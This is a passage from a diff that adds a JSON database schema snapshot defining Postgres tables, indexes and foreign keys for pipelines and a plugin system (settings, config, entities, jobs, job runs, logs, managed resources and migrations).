+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipelines_company_key_uq": {
+          "name": "pipelines_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipelines_company_idx": {
+          "name": "pipelines_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipelines_company_project_idx": {
+          "name": "pipelines_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipelines_company_id_companies_id_fk": {
+          "name": "pipelines_company_id_companies_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipelines_project_id_projects_id_fk": {
+          "name": "pipelines_project_id_projects_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipelines_created_by_agent_id_agents_id_fk": {
+          "name": "pipelines_created_by_agent_id_agents_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_company_settings": {
+      "name": "plugin_company_settings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "settings_json": {
+          "name": "settings_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_company_settings_company_idx": {
+          "name": "plugin_company_settings_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_company_settings_plugin_idx": {
+          "name": "plugin_company_settings_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_company_settings_company_plugin_uq": {
+          "name": "plugin_company_settings_company_plugin_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_company_settings_company_id_companies_id_fk": {
+          "name": "plugin_company_settings_company_id_companies_id_fk",
+          "tableFrom": "plugin_company_settings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_company_settings_plugin_id_plugins_id_fk": {
+          "name": "plugin_company_settings_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_company_settings",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_config": {
+      "name": "plugin_config",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_json": {
+          "name": "config_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_config_plugin_company_idx": {
+          "name": "plugin_config_plugin_company_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_config_plugin_id_plugins_id_fk": {
+          "name": "plugin_config_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_config",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_config_company_id_companies_id_fk": {
+          "name": "plugin_config_company_id_companies_id_fk",
+          "tableFrom": "plugin_config",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_database_namespaces": {
+      "name": "plugin_database_namespaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_name": {
+          "name": "namespace_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_mode": {
+          "name": "namespace_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'schema'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_database_namespaces_plugin_idx": {
+          "name": "plugin_database_namespaces_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_database_namespaces_namespace_idx": {
+          "name": "plugin_database_namespaces_namespace_idx",
+          "columns": [
+            {
+              "expression": "namespace_name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_database_namespaces_status_idx": {
+          "name": "plugin_database_namespaces_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_database_namespaces_plugin_id_plugins_id_fk": {
+          "name": "plugin_database_namespaces_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_database_namespaces",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_entities": {
+      "name": "plugin_entities",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "entity_type": {
+          "name": "entity_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "data": {
+          "name": "data",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_entities_plugin_idx": {
+          "name": "plugin_entities_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_company_idx": {
+          "name": "plugin_entities_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_type_idx": {
+          "name": "plugin_entities_type_idx",
+          "columns": [
+            {
+              "expression": "entity_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_scope_idx": {
+          "name": "plugin_entities_scope_idx",
+          "columns": [
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_entities_plugin_id_plugins_id_fk": {
+          "name": "plugin_entities_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_entities",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_entities_company_id_companies_id_fk": {
+          "name": "plugin_entities_company_id_companies_id_fk",
+          "tableFrom": "plugin_entities",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "plugin_entities_external_idx": {
+          "name": "plugin_entities_external_idx",
+          "nullsNotDistinct": true,
+          "columns": [
+            "company_id",
+            "plugin_id",
+            "entity_type",
+            "external_id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_job_runs": {
+      "name": "plugin_job_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "job_id": {
+          "name": "job_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "logs": {
+          "name": "logs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_job_runs_job_idx": {
+          "name": "plugin_job_runs_job_idx",
+          "columns": [
+            {
+              "expression": "job_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_plugin_idx": {
+          "name": "plugin_job_runs_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_company_idx": {
+          "name": "plugin_job_runs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_status_idx": {
+          "name": "plugin_job_runs_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_job_runs_job_id_plugin_jobs_id_fk": {
+          "name": "plugin_job_runs_job_id_plugin_jobs_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "plugin_jobs",
+          "columnsFrom": [
+            "job_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_job_runs_plugin_id_plugins_id_fk": {
+          "name": "plugin_job_runs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_job_runs_company_id_companies_id_fk": {
+          "name": "plugin_job_runs_company_id_companies_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_jobs": {
+      "name": "plugin_jobs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "job_key": {
+          "name": "job_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "schedule": {
+          "name": "schedule",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "last_run_at": {
+          "name": "last_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_run_at": {
+          "name": "next_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_jobs_plugin_idx": {
+          "name": "plugin_jobs_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_jobs_next_run_idx": {
+          "name": "plugin_jobs_next_run_idx",
+          "columns": [
+            {
+              "expression": "next_run_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_jobs_unique_idx": {
+          "name": "plugin_jobs_unique_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "job_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_jobs_plugin_id_plugins_id_fk": {
+          "name": "plugin_jobs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_jobs",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_logs": {
+      "name": "plugin_logs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'info'"
+        },
+        "message": {
+          "name": "message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "meta": {
+          "name": "meta",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_logs_plugin_time_idx": {
+          "name": "plugin_logs_plugin_time_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_logs_company_idx": {
+          "name": "plugin_logs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_logs_level_idx": {
+          "name": "plugin_logs_level_idx",
+          "columns": [
+            {
+              "expression": "level",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_logs_plugin_id_plugins_id_fk": {
+          "name": "plugin_logs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_logs",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_logs_company_id_companies_id_fk": {
+          "name": "plugin_logs_company_id_companies_id_fk",
+          "tableFrom": "plugin_logs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_managed_resources": {
+      "name": "plugin_managed_resources",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_kind": {
+          "name": "resource_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_key": {
+          "name": "resource_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_id": {
+          "name": "resource_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "defaults_json": {
+          "name": "defaults_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_managed_resources_company_idx": {
+          "name": "plugin_managed_resources_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_plugin_idx": {
+          "name": "plugin_managed_resources_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_resource_idx": {
+          "name": "plugin_managed_resources_resource_idx",
+          "columns": [
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_company_plugin_resource_uq": {
+          "name": "plugin_managed_resources_company_plugin_resource_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_managed_resources_company_id_companies_id_fk": {
+          "name": "plugin_managed_resources_company_id_companies_id_fk",
+          "tableFrom": "plugin_managed_resources",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_managed_resources_plugin_id_plugins_id_fk": {
+          "name": "plugin_managed_resources_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_managed_resources",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_migrations": {
+      "name": "plugin_migrations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_name": {
+          "name": "namespace_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "migration_key": {
+          "name": "migration_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "checksum": {
+          "name": "checksum",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_version": {
+          "name": "plugin_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "applied_at": {
+          "name": "applied_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "plugin_migrations_plugin_key_idx": {
+          "name": "plugin_migrations_plugin_key_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "migration_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_migrations_plugin_idx": {
+          "name": "plugin_migrations_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_migrations_status_idx": {
+          "name": "plugin_migrations_status_idx",
+          "columns": [
+            {
